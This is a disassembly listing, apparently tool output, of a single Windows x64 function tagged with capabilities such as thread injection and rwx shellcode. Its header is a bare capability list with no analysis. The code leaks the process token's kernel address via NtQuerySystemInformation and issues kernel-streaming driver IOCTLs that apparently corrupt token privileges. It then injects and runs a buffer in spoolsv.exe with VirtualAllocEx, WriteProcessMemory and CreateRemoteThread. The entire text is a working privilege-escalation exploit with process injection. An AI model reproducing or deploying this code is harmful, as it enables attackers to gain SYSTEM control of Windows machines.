Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate processes
Get system information on windows
Inject thread
Make suspicious ntquerysysteminformation call
Spawn thread to rwx shellcode

Disassembly:
push rbp
lea rbp, [rsp - 0x1160]
mov eax, 0x1260
call fcn.140002460
sub rsp, rax
mov rax, qword [0x140005020]
xor rax, rsp
mov qword [rbp + 0x1140], rax
lea r8, [rbp - 0x70]
mov edx, 0xc0000000
lea rcx, [0x1400033b8]
call qword [sym.imp.ksproxy.ax_KsOpenDefaultDevice]
test eax, eax
jne 0x140001715
lea r8, [rbp - 0x68]
mov edx, 0xc0000000
lea rcx, [0x1400033b8]
call qword [sym.imp.ksproxy.ax_KsOpenDefaultDevice]
test eax, eax
jne 0x140001715
lea r8, [rsp + 0x58]
mov edx, 0xc0000000
lea rcx, [0x1400033b8]
call qword [sym.imp.ksproxy.ax_KsOpenDefaultDevice]
test eax, eax
jne 0x140001715
mov qword [rsp + 0x1270], rbx
mov qword [rsp + 0x1278], rsi
mov qword [rsp + 0x1280], rdi
mov qword [rsp + 0x1288], r12
mov qword [rsp + 0x1258], r14
mov qword [rsp + 0x1250], r15
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor r15d, r15d
lea r8, [rbp - 0x60]
mov rcx, rax
mov qword [rbp - 0x60], r15
mov r14d, r15d
mov dword [rsp + 0x50], r15d
mov ebx, r15d
lea edx, [r15 + 8]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1400011bc
mov r8d, dword [rsp + 0x50]
lea r9, [rsp + 0x50]
xor edx, edx
lea ecx, [rdx + 0x10]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x140001164
mov eax, dword [rsp + 0x50]
test rbx, rbx
je 0x140001128
lea edi, [rax + rax]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r9d, edi
mov r8, rbx
mov rcx, rax
mov edx, 8
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
jmp 0x140001142
lea ebx, [rax + rax]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, ebx
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r8d, dword [rsp + 0x50]
lea r9, [rsp + 0x50]
mov rdx, rax
mov ecx, 0x10
mov rbx, rax
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x140001100
test eax, eax
jne 0x14000119e
mov edi, r15d
cmp dword [rbx], r15d
jbe 0x14000119e
mov eax, edi
lea rcx, [rax + rax*2]
lea rsi, [rbx + rcx*8]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
movzx ecx, word [rsi + 8]
cmp ecx, eax
jne 0x140001192
movzx eax, word [rbp - 0x60]
cmp word [rsi + 0xe], ax
je 0x14000119a
inc edi
cmp edi, dword [rbx]
jb 0x140001170
jmp 0x14000119e
mov r14, qword [rsi + 0x10]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rbp - 0x70]
add r14, 0x40
mov qword [rsp + 0x78], r15
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x48], r15d
movabs rsi, 0x136fe7474d
mov eax, eax
xor r9d, r9d
mov qword [rsp + 0x40], r15
xor r8d, r8d
mov qword [rsp + 0x68], rax
xor edx, edx
mov dword [rsp + 0x38], 0x20
lea rax, [rsp + 0x60]
mov qword [rsp + 0x30], rax
mov rcx, rbx
lea rax, [rbp - 0x60]
mov dword [rsp + 0x28], 0x2f0400
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x60], 1
mov qword [rsp + 0x70], rsi
call qword [sym.imp.ntdll.dll_NtDeviceIoControlFile]
mov rdi, qword [rbp - 0x68]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
lea edx, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov rbx, rax
movabs r12, 0x1400000000
cmp rax, 0xffffffffffffffff
je 0x1400012c8
mov qword [rsp + 0x60], 1
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x48], r15d
xor r9d, r9d
mov ecx, eax
xor r8d, r8d
mov qword [rsp + 0x40], r15
lea rax, [rsp + 0x60]
mov dword [rsp + 0x38], 0x30
xor edx, edx
mov qword [rsp + 0x30], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x68], rcx
mov rcx, rdi
mov dword [rsp + 0x28], 0x2f0404
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], r12
mov qword [rbp - 0x80], 0x40000
mov qword [rbp - 0x78], rbx
call qword [sym.imp.ntdll.dll_NtDeviceIoControlFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdi, qword [rsp + 0x58]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
lea edx, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14000135b
mov qword [rsp + 0x60], 2
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x48], r15d
xor r9d, r9d
mov ecx, eax
xor r8d, r8d
mov qword [rsp + 0x40], r15
lea rax, [rsp + 0x60]
mov dword [rsp + 0x38], 0x30
xor edx, edx
mov qword [rsp + 0x30], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x68], rcx
mov rcx, rdi
mov dword [rsp + 0x28], 0x2f0420
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], r12
mov qword [rbp - 0x80], 0x40000
mov qword [rbp - 0x78], rbx
call qword [sym.imp.ntdll.dll_NtDeviceIoControlFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
lea rcx, [rbp + 0x28]
xorps xmm0, xmm0
mov qword [rbp - 0x38], rax
xorps xmm1, xmm1
mov qword [rbp - 0x10], rax
xor edx, edx
mov qword [rbp], rax
mov r8d, 0x148
movups xmmword [rbp - 0x48], xmm0
movups xmmword [rbp - 0x20], xmm1
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [rsp + 0x58]
xor eax, eax
mov qword [rsp + 0x70], rax
xorps xmm0, xmm0
mov dword [rsp + 0x48], 0x18
movabs rax, 0x100000003
mov qword [rbp - 0x30], rax
xor r9d, r9d
movabs rax, 0x100000000140
mov qword [rbp - 0x50], 0x1c0
mov qword [rbp + 8], rax
xor r8d, r8d
mov qword [rbp + 0x18], rax
xor edx, edx
lea rax, [rsp + 0x60]
mov qword [rbp - 0x28], 1
mov qword [rsp + 0x40], rax
lea rax, [rbp - 0x50]
mov dword [rsp + 0x38], 0x1c0
mov qword [rsp + 0x30], rax
lea rax, [rbp - 0x60]
mov dword [rsp + 0x28], 0x2f0408
mov qword [rsp + 0x20], rax
movups xmmword [rsp + 0x60], xmm0
mov qword [rbp - 8], r14
mov qword [rbp + 0x10], r14
mov dword [rbp + 0x24], 0x10000000
mov dword [rbp + 0x20], 4
call qword [sym.imp.ntdll.dll_NtDeviceIoControlFile]
mov rsi, qword [rsp + 0x58]
lea rcx, [rbp + 0x170]
xor edx, edx
mov r8d, 0xfd0
mov rdi, r15
call sub.VCRUNTIME140.dll_memset
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, qword [rsp + 0x1258]
mov rbx, rax
mov r12, qword [rsp + 0x1288]
test rax, rax
je 0x140001530
movaps xmm1, xmmword [rbp + 0x180]
xor r9d, r9d
mov dword [rsp + 0x48], 0xfd0
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor edx, edx
mov dword [rsp + 0x38], 0xfd0
mov rcx, rsi
mov qword [rsp + 0x30], rax
mov qword [rbp + 0x170], 0x1000
movaps xmm0, xmmword [rbp + 0x170]
movups xmmword [rax], xmm0
mov qword [rbp + 0x190], 6
movaps xmm0, xmmword [rbp + 0x190]
movups xmmword [rax + 0x10], xmm1
mov dword [rsp + 0x28], 0x2f0410
movups xmmword [rax + 0x20], xmm0
lea rax, [rbp - 0x60]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ntdll.dll_NtDeviceIoControlFile]
test eax, eax
jne 0x140001530
movups xmm0, xmmword [rbx]
mov rdi, qword [rbx + 0x48]
movups xmm1, xmmword [rbx + 0x10]
movaps xmmword [rbp + 0x170], xmm0
movups xmm0, xmmword [rbx + 0x20]
movaps xmmword [rbp + 0x180], xmm1
movups xmm1, xmmword [rbx + 0x30]
movaps xmmword [rbp + 0x190], xmm0
movups xmm0, xmmword [rbx + 0x50]
movaps xmmword [rbp + 0x1a0], xmm1
movsd xmm1, qword [rbx + 0x60]
movaps xmmword [rbp + 0x1c0], xmm0
movsd qword [rbp + 0x1d0], xmm1
movdqa xmm0, xmmword [0x1400033d0]
movups xmmword [rdi], xmm0
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [0x1400032f0]
movups xmm0, xmmword [rdx]
mov rax, qword [rdx + 0xa0]
lea r8, [rbp - 0x50]
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [r8], xmm0
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [r8 + 0x10], xmm1
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [r8 + 0x20], xmm0
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [r8 + 0x30], xmm1
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [r8 + 0x40], xmm0
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [r8 + 0x50], xmm1
movups xmm1, xmmword [rdx + 0x80]
movups xmmword [r8 + 0x60], xmm0
movups xmm0, xmmword [rdx + 0x70]
movups xmmword [r8 + 0x70], xmm0
movups xmm0, xmmword [rdx + 0x90]
movups xmmword [r8 + 0x80], xmm1
movups xmmword [r8 + 0x90], xmm0
mov qword [r8 + 0xa0], rax
movzx eax, word [rdx + 0xa8]
xor edx, edx
mov word [r8 + 0xa8], ax
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rsi, qword [rsp + 0x1278]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x14000160a
mov r8d, 0xffffffff
jmp 0x140001671
lea rdx, [rbp + 0x170]
mov dword [rbp + 0x170], 0x238
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x140001630
mov r8d, 0xffffffff
jmp 0x140001671
lea rdx, str.spoolsv.exe
lea rcx, [rbp + 0x19c]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
je 0x14000166a
lea rdx, [rbp + 0x170]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001630
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, r15d
jmp 0x140001671
mov r8d, dword [rbp + 0x178]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x1400016f9
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
je 0x1400016f9
mov r9d, 0xaa
mov qword [rsp + 0x20], r15
lea r8, [rbp - 0x50]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400016f9
mov qword [rsp + 0x30], r15
mov r9, rdi
mov dword [rsp + 0x28], r15d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], r15
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
jne 0x1400016f9
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r15, qword [rsp + 0x1250]
xor eax, eax
mov rdi, qword [rsp + 0x1280]
mov rbx, qword [rsp + 0x1270]
jmp 0x14000171a
mov eax, 1
mov rcx, qword [rbp + 0x1140]
xor rcx, rsp
call fcn.140001750
add rsp, 0x1260
pop rbp
ret